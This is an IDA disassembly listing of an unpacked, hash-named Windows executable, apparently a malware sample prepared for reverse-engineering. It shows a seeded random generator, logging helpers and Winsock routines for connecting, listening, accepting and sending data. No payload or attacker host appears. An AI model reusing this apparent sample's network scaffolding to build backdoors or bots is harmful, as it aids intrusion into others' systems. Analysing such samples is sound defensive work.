;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E9A89B8E90BD53114CF872089D72EF5F

; File Name   :	u:\work\e9a89b8e90bd53114cf872089d72ef5f_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00040000 ( 262144.)
; Section size in file		: 00040000 ( 262144.)
; Offset to raw	data for section: 00001000
; Flags	C0000060: Text Data Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
DMN0		segment	para public 'DATA' use32
		assume cs:DMN0
		;org 401000h
		assume es:nothing, ss:nothing, ds:DMN0,	fs:nothing, gs:nothing
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_401001	proc near		; CODE XREF: sub_40400E+3Fp
					; sub_404967+6Bp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_401013
; ---------------------------------------------------------------------------


loc_40100B:				; CODE XREF: sub_401001+14j
		call	dword_411CC4	; GetTickCount
		mov	esi, eax


loc_401013:				; CODE XREF: sub_401001+8j
		test	esi, esi
		jz	short loc_40100B
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_40102F
		inc	dword ptr [ebx]


loc_40102F:				; CODE XREF: sub_401001+2Aj
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_401001	endp


; =============== S U B	R O U T	I N E =======================================



sub_40103C	proc near		; CODE XREF: sub_4066F1+20p
		push	offset dword_41285C
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401048	proc near		; CODE XREF: sub_40122A+35p
					; sub_4019C3+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_406D40
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_401048	endp


; =============== S U B	R O U T	I N E =======================================



sub_401076	proc near		; CODE XREF: sub_40122A+1Fp
					; sub_401A3B+Bp ...

arg_0		= dword	ptr  4

		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	[esp+arg_0]
		call	sub_4070F0
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		retn
sub_401076	endp


; =============== S U B	R O U T	I N E =======================================



sub_401097	proc near		; CODE XREF: sub_4066F1+2Ap
		push	offset dword_412874
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_401097	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		cmp	dword ptr [ebp+8], 0
		jz	loc_40115E
		push	0FFFFFFF5h
		call	dword_411CD4	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	loc_40115E
		push	offset dword_412874
		call	dword_411CCC	; RtlEnterCriticalSection
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		call	sub_4071C0
		add	esp, 10h
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_401140
		push	1
		lea	eax, [ebx+80h]
		push	eax
		call	sub_406D40
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		lea	eax, [ebx+1Fh]
		push	eax
		push	esi
		call	sub_4071C0
		add	esp, 10h
		mov	ebx, eax
		push	esi
		push	offset aS_0	; "%s"
		call	sub_407260
		pop	ecx
		pop	ecx
		push	esi
		call	sub_4070F0
		pop	ecx
		jmp	short loc_401153
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: DMN0:00401100j
		lea	eax, [ebp-100h]
		push	eax
		push	offset aS_0	; "%s"
		call	sub_407260
		pop	ecx
		pop	ecx


loc_401153:				; CODE XREF: DMN0:0040113Ej
		push	offset dword_412874
		call	dword_411CD0	; RtlLeaveCriticalSection


loc_40115E:				; CODE XREF: DMN0:004010B6j
					; DMN0:004010CCj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401165	proc near		; CODE XREF: sub_4066F1+25p
		push	offset dword_41288C
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_401165	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		call	dword_411CD8	; GetLocalTime
		cmp	word ptr [ebp-8], 0Ch
		jnb	short loc_401190
		mov	ebx, offset aAm	; "AM"
		jmp	short loc_401195
; ---------------------------------------------------------------------------


loc_401190:				; CODE XREF: DMN0:00401187j
		mov	ebx, offset aPm	; "PM"


loc_401195:				; CODE XREF: DMN0:0040118Ej
		push	ebx
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		mov	ecx, 0Ch
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-10h]
		mov	ecx, 64h
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset a02i02i02iIIIS ;	"%02i/%02i/%02i	%i:%i:%i%s"
		push	dword ptr [ebp+8]
		call	sub_4072C0
		add	esp, 24h
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	offset dword_41288C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	offset aA	; "a"
		push	dword ptr [ebp+8]
		call	sub_407300
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40121A
		lea	eax, [ebp+10h]
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_4073B0
		add	esp, 0Ch
		push	ebx
		call	sub_407560
		pop	ecx


loc_40121A:				; CODE XREF: DMN0:004011FCj
		push	offset dword_41288C
		call	dword_411CD0	; RtlLeaveCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40122A	proc near		; CODE XREF: sub_4066F1+4Bp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		jmp	short loc_40124F
; ---------------------------------------------------------------------------


loc_401237:				; CODE XREF: sub_40122A+2Cj
		dec	dword_411000
		mov	eax, dword_411000
		push	dword_4128A4[eax*4]
		call	sub_401076
		pop	ecx


loc_40124F:				; CODE XREF: sub_40122A+Bj
		cmp	dword_411000, 0
		jnz	short loc_401237
		jmp	short loc_4012CB
; ---------------------------------------------------------------------------


loc_40125A:				; CODE XREF: sub_40122A+ADj
		push	401h
		call	sub_401048
		pop	ecx
		mov	edx, dword_411000
		mov	dword_4128A4[edx*4], eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40127E
		inc	ebx
		mov	[ebp+var_1], 22h
		jmp	short loc_401282
; ---------------------------------------------------------------------------


loc_40127E:				; CODE XREF: sub_40122A+4Bj
		mov	[ebp+var_1], 20h


loc_401282:				; CODE XREF: sub_40122A+52j
		and	[ebp+var_8], 0
		mov	eax, dword_411000
		lea	edx, [eax+1]
		mov	dword_411000, edx
		mov	esi, dword_4128A4[eax*4]
		jmp	short loc_4012A3
; ---------------------------------------------------------------------------


loc_40129D:				; CODE XREF: sub_40122A+8Bj
		mov	al, [ebx]
		mov	[esi], al
		inc	esi
		inc	ebx


loc_4012A3:				; CODE XREF: sub_40122A+71j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4012B7
		cmp	al, [ebp+var_1]
		jz	short loc_4012B7
		cmp	[ebp+var_8], 400h
		jl	short loc_40129D


loc_4012B7:				; CODE XREF: sub_40122A+7Dj
					; sub_40122A+82j
		cmp	[ebp+var_1], 22h
		jnz	short loc_4012C6
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4012C6
		inc	ebx
		jmp	short loc_4012C6
; ---------------------------------------------------------------------------


loc_4012C5:				; CODE XREF: sub_40122A+9Fj
		inc	ebx


loc_4012C6:				; CODE XREF: sub_40122A+91j
					; sub_40122A+96j ...
		cmp	byte ptr [ebx],	20h
		jz	short loc_4012C5


loc_4012CB:				; CODE XREF: sub_40122A+2Ej
		cmp	byte ptr [ebx],	0
		jz	short loc_4012D9
		cmp	dword_411000, 20h
		jl	short loc_40125A


loc_4012D9:				; CODE XREF: sub_40122A+A4j
		mov	eax, dword_411000
		and	dword_4128A4[eax*4], 0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40122A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012EC	proc near		; CODE XREF: sub_4066F1+256p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	bx, 2
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_406CAE	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_40133C
		mov	bx, 101h
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_406CAE	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_40132F
		xor	eax, eax
		jmp	short loc_40134A
; ---------------------------------------------------------------------------


loc_40132F:				; CODE XREF: sub_4012EC+3Dj
		push	offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_401347
; ---------------------------------------------------------------------------


loc_40133C:				; CODE XREF: sub_4012EC+23j
		push	offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
		call	nullsub_2
		pop	ecx


loc_401347:				; CODE XREF: sub_4012EC+4Ej
		xor	eax, eax
		inc	eax


loc_40134A:				; CODE XREF: sub_4012EC+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4012EC	endp

; ---------------------------------------------------------------------------
		call	sub_406CB4	; WSACleanup
		xor	eax, eax
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401359	proc near		; CODE XREF: sub_402896+BDp
					; sub_403C3F+DCp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_406CBA	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401377
		xor	eax, eax
		jmp	short loc_4013CD
; ---------------------------------------------------------------------------


loc_401377:				; CODE XREF: sub_401359+18j
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		mov	[ebp+var_4], 1
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		mov	eax, ebx


loc_4013CD:				; CODE XREF: sub_401359+1Cj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401359	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_406CBA	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4013F0
		xor	eax, eax
		jmp	short loc_401451
; ---------------------------------------------------------------------------


loc_4013F0:				; CODE XREF: DMN0:004013EAj
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		imul	eax, [ebp+8], 3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+10h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		mov	eax, ebx


loc_401451:				; CODE XREF: DMN0:004013EEj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+8]
		imul	eax, [ebp+10h],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+14h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_406CC0	; setsockopt
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4014C2	proc near		; CODE XREF: sub_4025A9+15Dp
					; sub_4025A9+1B4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_406CC6	; closesocket
		xor	eax, eax
		inc	eax
		retn
sub_4014C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014CF	proc near		; CODE XREF: sub_4042CD+567p
					; sub_4042CD+5E1p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		and	[ebp+var_10C], 0
		and	[ebp+var_108], 0
		and	[ebp+var_104], 0
		cmp	[ebp+var_104], 40h
		jnb	short loc_401511
		mov	eax, [ebp+var_104]
		lea	edx, [eax+1]
		mov	[ebp+var_104], edx
		mov	[ebp+eax*4+var_100], ebx


loc_401511:				; CODE XREF: sub_4014CF+2Aj
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_406CCC	; select
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40153C
		test	esi, esi
		jnz	short loc_401539
		xor	eax, eax
		jmp	short loc_40153C
; ---------------------------------------------------------------------------


loc_401539:				; CODE XREF: sub_4014CF+64j
		xor	eax, eax
		inc	eax


loc_40153C:				; CODE XREF: sub_4014CF+60j
					; sub_4014CF+68j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4014CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401542	proc near		; CODE XREF: sub_402562+13p
					; sub_4025A9+1F5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	sub_406CD2	; ioctlsocket
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401562
		mov	eax, [ebp+var_4]


loc_401562:				; CODE XREF: sub_401542+1Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401542	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401567	proc near		; CODE XREF: sub_4025A9+14Ep
					; sub_402896+DBp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_406CD8	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_406CDE	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015AF
		xor	eax, eax
		jmp	short loc_4015B2
; ---------------------------------------------------------------------------


loc_4015AF:				; CODE XREF: sub_401567+42j
		xor	eax, eax
		inc	eax


loc_4015B2:				; CODE XREF: sub_401567+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401567	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015B7	proc near		; CODE XREF: sub_404967+A7p
					; sub_405CF6+2Bp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_406CD8	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_406CE4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015FF
		xor	eax, eax
		jmp	short loc_401602
; ---------------------------------------------------------------------------


loc_4015FF:				; CODE XREF: sub_4015B7+42j
		xor	eax, eax
		inc	eax


loc_401602:				; CODE XREF: sub_4015B7+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4015B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401607	proc near		; CODE XREF: sub_404967+1D1p
					; sub_405CF6+48p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	5
		push	[ebp+arg_0]
		call	sub_406CEA	; listen
		test	eax, eax
		jge	short loc_40161C
		xor	eax, eax
		jmp	short loc_40161F
; ---------------------------------------------------------------------------


loc_40161C:				; CODE XREF: sub_401607+Fj
		xor	eax, eax
		inc	eax


loc_40161F:				; CODE XREF: sub_401607+13j
		pop	ebp
		retn
sub_401607	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401621	proc near		; CODE XREF: sub_405CF6+63p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	esi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	sub_406CF0	; accept
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401664
		xor	eax, eax
		jmp	short loc_401666
; ---------------------------------------------------------------------------


loc_401664:				; CODE XREF: sub_401621+3Dj
		mov	eax, ebx


loc_401666:				; CODE XREF: sub_401621+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40166C	proc near		; CODE XREF: sub_404967+1E9p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		and	dword ptr [edx], 0
		mov	word ptr [ebx],	0
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	edi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	[ebp+arg_0]
		call	sub_406CF0	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4016BE
		xor	eax, eax
		jmp	short loc_4016D5
; ---------------------------------------------------------------------------


loc_4016BE:				; CODE XREF: sub_40166C+4Cj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		mov	[edx], eax
		movzx	eax, [ebp+var_E]
		push	eax
		call	sub_406CF6	; htons
		mov	[ebx], ax
		mov	eax, esi


loc_4016D5:				; CODE XREF: sub_40166C+50j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40166C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016DC	proc near		; CODE XREF: sub_401BAC+44p
					; sub_401BAC+A3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_401707
; ---------------------------------------------------------------------------


loc_4016EA:				; CODE XREF: sub_4016DC+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_406CFC	; recv
		mov	esi, eax
		test	esi, esi
		jg	short loc_401703
		or	eax, 0FFFFFFFFh
		jmp	short loc_40170E
; ---------------------------------------------------------------------------


loc_401703:				; CODE XREF: sub_4016DC+20j
		sub	edi, esi
		add	ebx, esi


loc_401707:				; CODE XREF: sub_4016DC+Cj
		test	edi, edi
		jg	short loc_4016EA
		mov	eax, [ebp+arg_8]


loc_40170E:				; CODE XREF: sub_4016DC+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4016DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401713	proc near		; CODE XREF: sub_4025A9+1E3p
					; sub_402896+149p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_401742
; ---------------------------------------------------------------------------


loc_401722:				; CODE XREF: sub_401713+31j
		push	0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_406CFC	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_401746
		sub	edi, esi
		mov	eax, [ebp+arg_4]
		add	eax, esi
		mov	[ebp+arg_4], eax
		add	ebx, esi


loc_401742:				; CODE XREF: sub_401713+Dj
		test	edi, edi
		jg	short loc_401722


loc_401746:				; CODE XREF: sub_401713+21j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401713	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+10h]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_40177C
; ---------------------------------------------------------------------------


loc_40175C:				; CODE XREF: DMN0:0040177Ej
		push	0
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_406CFC	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_401780
		sub	edi, esi
		mov	eax, [ebp+0Ch]
		add	eax, esi
		mov	[ebp+0Ch], eax
		add	ebx, esi


loc_40177C:				; CODE XREF: DMN0:0040175Aj
		test	edi, edi
		jg	short loc_40175C


loc_401780:				; CODE XREF: DMN0:0040176Ej
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401787	proc near		; CODE XREF: sub_401ADA+97p
					; sub_4025A9+1A4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_4017B2
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401787+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_406D02	; send
		mov	esi, eax
		test	esi, esi
		jg	short loc_4017AE
		or	eax, 0FFFFFFFFh
		jmp	short loc_4017B9
; ---------------------------------------------------------------------------


loc_4017AE:				; CODE XREF: sub_401787+20j
		sub	edi, esi
		add	ebx, esi


loc_4017B2:				; CODE XREF: sub_401787+Cj
		test	edi, edi
		jg	short loc_401795
		mov	eax, [ebp+arg_8]


loc_4017B9:				; CODE XREF: sub_401787+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401787	endp


; =============== S U B	R O U T	I N E =======================================



sub_4017BE	proc near		; CODE XREF: DMN0:00401882p
					; sub_403C3F+30p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	esi, esi
		push	[esp+8+arg_0]
		call	sub_406D08	; inet_addr
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4017F2
		push	[esp+8+arg_0]
		call	sub_406D0E	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4017E9
		or	eax, 0FFFFFFFFh
		jmp	short loc_4017F4
; ---------------------------------------------------------------------------


loc_4017E9:				; CODE XREF: sub_4017BE+24j
		mov	eax, [esi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_4017F4
; ---------------------------------------------------------------------------


loc_4017F2:				; CODE XREF: sub_4017BE+15j
		mov	eax, ebx


loc_4017F4:				; CODE XREF: sub_4017BE+29j
					; sub_4017BE+32j
		pop	esi
		pop	ebx
		retn
sub_4017BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		mov	dword ptr [ebp-14h], 10h
		lea	ebx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_406D14	; getsockname
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401837
		xor	eax, eax
		jmp	short loc_401852
; ---------------------------------------------------------------------------


loc_401837:				; CODE XREF: DMN0:00401831j
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-0Ch]
		mov	[edx], eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		call	sub_406CF6	; htons
		mov	edx, [ebp+10h]
		mov	[edx], ax
		xor	eax, eax
		inc	eax


loc_401852:				; CODE XREF: DMN0:00401835j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	byte ptr [ebp-400h], 0
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		call	sub_406D1A	; gethostname
		lea	eax, [ebp-400h]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	ebx, eax
		mov	[ebp-404h], ebx
		mov	eax, [ebp-404h]
		push	eax
		call	sub_406D20	; inet_ntoa
		mov	esi, eax
		push	esi
		lea	eax, [ebp-400h]
		push	eax
		push	offset aSIsS	; "%s is %s\n"
		call	nullsub_2
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

